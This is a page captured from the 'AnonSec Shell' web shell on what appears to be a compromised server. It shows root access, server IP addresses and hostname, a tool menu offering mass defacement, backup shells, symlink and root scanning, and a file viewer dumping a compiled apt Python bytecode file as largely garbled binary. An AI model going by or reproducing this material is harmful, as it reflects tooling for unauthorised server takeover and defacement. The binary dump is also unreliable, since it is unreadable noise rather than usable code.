AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/apt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/apt/__pycache__/utils.cpython-310.pyc
o

4��f�
�@sXddlmZddlZddlZddlmZmZddlZddlZdd�Z	dd�Z
dd	�ZdS)
�)�print_functionN)�Optional�TuplecCsR|d}|d}|j||j|d}|j|d}|dkr%d}|d8}||fS)z�
    get the (year, month) tuple when the maintenance for the distribution
    ends. Needs the data of the release and the number of months that
    its is supported as input
    �r�)�year�month)�release_date�m_months�years�months�support_end_year�support_end_month�r�+/usr/lib/python3/dist-packages/apt/utils.py�get_maintenance_end_dates�rcCs�|rtj�|�s
dSt�t�|���'}t�|�}t|�}d|vr)	Wd�dS|d}t�|�Wd�S1s<wYdS)zF
    return the release date as time_t for the given release file
    N�Date)	�os�path�exists�fdopen�apt_pkg�open_maybe_clear_signed_file�TagFile�next�str_to_time)r�data�tag�section�daterrr�"get_release_date_from_release_file2s
�$�r cCs||vrdS||}d}|jjD]%}|dus|jdurq|jD]\}}|j|kr4|j|kr4|j|kr4|}qq|s:dS|j�|jdd�}	|jjD]=}
|
j	D]7}|	r�|	j
|j
kr�|	jr�tj
�d�}dD]!}
t�|
j�d|
j|
f}tj�||�r�||SqcqNqIdS)z- get the release file that provides this pkg NrzDir::State::lists)�	InRelease�Releasezdists_%s_%s)�_pkg�version_list�	file_list�origin�label�archive�_list�
find_index�list�index_files�describe�
is_trustedr�config�find_dir�uri_to_filename�uri�distrrr)�cache�pkgnamer'�release�pkg�ver�aver�ver_file�_index�	indexfile�	metaindex�m�dirname�relfile�namerrr�get_release_filename_for_pkgCsD


��
�
����
rB)�
__future__r�datetimer�typingrr�aptrrr rBrrrr�<module>s

Anon7 - 2022
AnonSec Team